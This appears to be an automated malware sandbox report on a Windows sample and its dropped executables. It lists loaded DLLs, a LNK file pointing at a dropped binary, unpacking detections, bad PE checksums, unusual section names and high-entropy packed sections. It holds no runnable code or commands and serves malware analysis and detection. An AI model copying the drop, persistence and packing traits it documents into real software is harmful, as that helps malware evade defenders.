Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	Section loaded: wldp.dll
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	Section loaded: cryptsp.dll
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	Section loaded: rsaenh.dll
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	Section loaded: iphlpapi.dll
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\{ED8B0E24-294A-4924-ABF6-1B4F6433B770}\cls.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\{ED8B0E24-294A-4924-ABF6-1B4F6433B770}\cls.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\{ED8B0E24-294A-4924-ABF6-1B4F6433B770}\cls.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\{ED8B0E24-294A-4924-ABF6-1B4F6433B770}\cls.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\file.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Section loaded: qtcore4.dll
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Section loaded: qtgui4.dll
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Section loaded: qtnetwork4.dll
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Section loaded: comn.dll
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Section loaded: libssl-1_1.dll
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Section loaded: libcrypto-1_1.dll
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Section loaded: pla.dll
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Section loaded: pdh.dll
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Section loaded: tdh.dll
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Section loaded: cabinet.dll
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Section loaded: wevtapi.dll
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Section loaded: shdocvw.dll
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\altuninstall_test\ShortcutTaskAgent.exe	Section loaded: apphelp.dll

Source: C:\Users\user\Desktop\13s1HMkHKv.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: frweontwxli.51.dr

LNK file: ..\..\Roaming\altuninstall_test\ShortcutTaskAgent.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: 13s1HMkHKv.exe

Static file information: File size 2165760 > 1048576

Source: C:\Users\user\AppData\Local\Temp\file.exe

File opened: C:\Users\user\AppData\Local\Temp\msvcr80.dll

Source: 13s1HMkHKv.exe

Static PE information: Raw size of jfugtalk is bigger than: 0x100000 < 0x1a0e00

Source:	Binary string: C:\Users\PC\Desktop\programms\1LOADER_PROXY\C#installer\ConsoleApp1\ConsoleApp1\obj\Release\net6.0\win-x64\ConsoleApp1.pdb source: rapes.exe, 0000000B.00000002.2491465283.00000000061F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\win-x64.Release\corehost\apphost\standalone\apphost.pdb source: dx3hXS1.exe, 00000035.00000002.2431681495.00007FF6814A9000.00000002.00000001.01000000.0000002A.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\win-x64.Release\corehost\apphost\standalone\apphost.pdbcccGCTL source: dx3hXS1.exe, 00000035.00000002.2431681495.00007FF6814A9000.00000002.00000001.01000000.0000002A.sdmp
Source:	Binary string: C:\Users\PC\Desktop\programms\1LOADER_PROXY\C#installer\ConsoleApp1\ConsoleApp1\obj\Release\net6.0\win-x64\ConsoleApp1.pdbSHA256 source: rapes.exe, 0000000B.00000002.2491465283.00000000061F0000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\13s1HMkHKv.exe	Unpacked PE file: 0.2.13s1HMkHKv.exe.a40000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jfugtalk:EW;skzfxrkw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jfugtalk:EW;skzfxrkw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Unpacked PE file: 4.2.rapes.exe.220000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jfugtalk:EW;skzfxrkw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jfugtalk:EW;skzfxrkw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Unpacked PE file: 11.2.rapes.exe.220000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jfugtalk:EW;skzfxrkw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jfugtalk:EW;skzfxrkw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Unpacked PE file: 12.2.s7MG2VL.exe.630000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mxyvrfkq:EW;pvaimvim:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mxyvrfkq:EW;pvaimvim:EW;.taggant:EW;

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe

Unpacked PE file: 38.2.ps.exe.910000.0.unpack

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: ZqkKpwG[1].exe.11.dr	Static PE information: real checksum: 0x0 should be: 0x15e8f7
Source: ZqkKpwG.exe.11.dr	Static PE information: real checksum: 0x0 should be: 0x15e8f7
Source: 8sb9w_003.exe.11.dr	Static PE information: real checksum: 0x0 should be: 0x1569f7
Source: st22BJg[1].exe.11.dr	Static PE information: real checksum: 0x0 should be: 0x8fbdaf
Source: rapes.exe.0.dr	Static PE information: real checksum: 0x212842 should be: 0x21bf9c
Source: yo7qmvz.exe.11.dr	Static PE information: real checksum: 0x0 should be: 0xc0618
Source: eAzoDbY.exe.11.dr	Static PE information: real checksum: 0x0 should be: 0x15241b
Source: EZs3CZC.exe.11.dr	Static PE information: real checksum: 0x0 should be: 0x8671eb
Source: dx3hXS1.exe.11.dr	Static PE information: real checksum: 0x0 should be: 0x363b3
Source: QtGui4.dll.47.dr	Static PE information: real checksum: 0x83959f should be: 0x838e21
Source: s7MG2VL.exe.11.dr	Static PE information: real checksum: 0x202333 should be: 0x1ff8ea
Source: s7MG2VL[1].exe.11.dr	Static PE information: real checksum: 0x202333 should be: 0x1ff8ea
Source: EZs3CZC[1].exe.11.dr	Static PE information: real checksum: 0x0 should be: 0x8671eb
Source: dx3hXS1[1].exe.11.dr	Static PE information: real checksum: 0x0 should be: 0x363b3
Source: st22BJg.exe.11.dr	Static PE information: real checksum: 0x0 should be: 0x8fbdaf
Source: 8sb9w_003[1].exe.11.dr	Static PE information: real checksum: 0x0 should be: 0x1569f7
Source: eAzoDbY[1].exe.11.dr	Static PE information: real checksum: 0x0 should be: 0x15241b
Source: QtGui4.dll.48.dr	Static PE information: real checksum: 0x83959f should be: 0x838e21
Source: ps.exe.31.dr	Static PE information: real checksum: 0x0 should be: 0x1c7187
Source: 13s1HMkHKv.exe	Static PE information: real checksum: 0x212842 should be: 0x21bf9c
Source: file.exe.44.dr	Static PE information: real checksum: 0x33302 should be: 0x87948d
Source: yo7qmvz[1].exe.11.dr	Static PE information: real checksum: 0x0 should be: 0xc0618

Source: 13s1HMkHKv.exe	Static PE information: section name:
Source: 13s1HMkHKv.exe	Static PE information: section name: .idata
Source: 13s1HMkHKv.exe	Static PE information: section name:
Source: 13s1HMkHKv.exe	Static PE information: section name: jfugtalk
Source: 13s1HMkHKv.exe	Static PE information: section name: skzfxrkw
Source: 13s1HMkHKv.exe	Static PE information: section name: .taggant
Source: rapes.exe.0.dr	Static PE information: section name:
Source: rapes.exe.0.dr	Static PE information: section name: .idata
Source: rapes.exe.0.dr	Static PE information: section name:
Source: rapes.exe.0.dr	Static PE information: section name: jfugtalk
Source: rapes.exe.0.dr	Static PE information: section name: skzfxrkw
Source: rapes.exe.0.dr	Static PE information: section name: .taggant
Source: EZs3CZC[1].exe.11.dr	Static PE information: section name: .xdata
Source: EZs3CZC[1].exe.11.dr	Static PE information: section name: /4
Source: EZs3CZC[1].exe.11.dr	Static PE information: section name: /19
Source: EZs3CZC[1].exe.11.dr	Static PE information: section name: /32
Source: EZs3CZC[1].exe.11.dr	Static PE information: section name: /46
Source: EZs3CZC[1].exe.11.dr	Static PE information: section name: /65
Source: EZs3CZC[1].exe.11.dr	Static PE information: section name: /78
Source: EZs3CZC[1].exe.11.dr	Static PE information: section name: /90
Source: EZs3CZC[1].exe.11.dr	Static PE information: section name: .symtab
Source: EZs3CZC.exe.11.dr	Static PE information: section name: .xdata
Source: EZs3CZC.exe.11.dr	Static PE information: section name: /4
Source: EZs3CZC.exe.11.dr	Static PE information: section name: /19
Source: EZs3CZC.exe.11.dr	Static PE information: section name: /32
Source: EZs3CZC.exe.11.dr	Static PE information: section name: /46
Source: EZs3CZC.exe.11.dr	Static PE information: section name: /65
Source: EZs3CZC.exe.11.dr	Static PE information: section name: /78
Source: EZs3CZC.exe.11.dr	Static PE information: section name: /90
Source: EZs3CZC.exe.11.dr	Static PE information: section name: .symtab
Source: dx3hXS1[1].exe.11.dr	Static PE information: section name: _RDATA
Source: dx3hXS1.exe.11.dr	Static PE information: section name: _RDATA
Source: s7MG2VL[1].exe.11.dr	Static PE information: section name:
Source: s7MG2VL[1].exe.11.dr	Static PE information: section name: .idata
Source: s7MG2VL[1].exe.11.dr	Static PE information: section name:
Source: s7MG2VL[1].exe.11.dr	Static PE information: section name: mxyvrfkq
Source: s7MG2VL[1].exe.11.dr	Static PE information: section name: pvaimvim
Source: s7MG2VL[1].exe.11.dr	Static PE information: section name: .taggant
Source: s7MG2VL.exe.11.dr	Static PE information: section name:
Source: s7MG2VL.exe.11.dr	Static PE information: section name: .idata
Source: s7MG2VL.exe.11.dr	Static PE information: section name:
Source: s7MG2VL.exe.11.dr	Static PE information: section name: mxyvrfkq
Source: s7MG2VL.exe.11.dr	Static PE information: section name: pvaimvim
Source: s7MG2VL.exe.11.dr	Static PE information: section name: .taggant
Source: 8sb9w_003[1].exe.11.dr	Static PE information: section name: ss0
Source: 8sb9w_003[1].exe.11.dr	Static PE information: section name: ss1
Source: 8sb9w_003[1].exe.11.dr	Static PE information: section name: ss2
Source: 8sb9w_003.exe.11.dr	Static PE information: section name: ss0
Source: 8sb9w_003.exe.11.dr	Static PE information: section name: ss1
Source: 8sb9w_003.exe.11.dr	Static PE information: section name: ss2
Source: ps.exe.31.dr	Static PE information: section name: cv0
Source: ps.exe.31.dr	Static PE information: section name: cv1
Source: ps.exe.31.dr	Static PE information: section name: cv2
Source: cls.exe.31.dr	Static PE information: section name: ss0
Source: cls.exe.31.dr	Static PE information: section name: ss1
Source: cls.exe.31.dr	Static PE information: section name: ss2
Source: gvh50gjo_3616.sys.38.dr	Static PE information: section name: vs0

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Code function: 11_2_00249FC1 push ecx; ret	11_2_00249FD4
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 15_2_00C1DFCA push ecx; ret	15_2_00C1DFDD
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_0045681C push ebx; iretd	17_2_00456823
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00456650 pushfd ; ret	17_2_00456675
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_004566DD push esp; retf	17_2_004566E6
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00BF04F7 push ebx; iretd	17_2_00BF04F9
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00BF04DD push ebx; iretd	17_2_00BF04E3
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00C1DFCA push ecx; ret	17_2_00C1DFDD
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Code function: 17_2_00BDA775 push es; iretd	17_2_00BDA776

Source: 13s1HMkHKv.exe	Static PE information: section name: entropy: 7.041526882327951
Source: 13s1HMkHKv.exe	Static PE information: section name: jfugtalk entropy: 7.953536978742279
Source: rapes.exe.0.dr	Static PE information: section name: entropy: 7.041526882327951
Source: rapes.exe.0.dr	Static PE information: section name: jfugtalk entropy: 7.953536978742279
Source: s7MG2VL[1].exe.11.dr	Static PE information: section name: entropy: 7.081477890280845
Source: s7MG2VL[1].exe.11.dr	Static PE information: section name: mxyvrfkq entropy: 7.95418402305297
Source: s7MG2VL.exe.11.dr	Static PE information: section name: entropy: 7.081477890280845
Source: s7MG2VL.exe.11.dr	Static PE information: section name: mxyvrfkq entropy: 7.95418402305297
Source: ZqkKpwG[1].exe.11.dr	Static PE information: section name: .text entropy: 7.09207256696417
Source: ZqkKpwG.exe.11.dr	Static PE information: section name: .text entropy: 7.09207256696417
Source: eAzoDbY[1].exe.11.dr	Static PE information: section name: .text entropy: 7.09207256696417
Source: eAzoDbY.exe.11.dr	Static PE information: section name: .text entropy: 7.09207256696417
Source: 8sb9w_003[1].exe.11.dr	Static PE information: section name: ss2 entropy: 7.9915358801939895
Source: 8sb9w_003.exe.11.dr	Static PE information: section name: ss2 entropy: 7.9915358801939895
Source: ps.exe.31.dr	Static PE information: section name: cv2 entropy: 7.988761094076266
Source: cls.exe.31.dr	Static PE information: section name: ss2 entropy: 7.8896171543619635
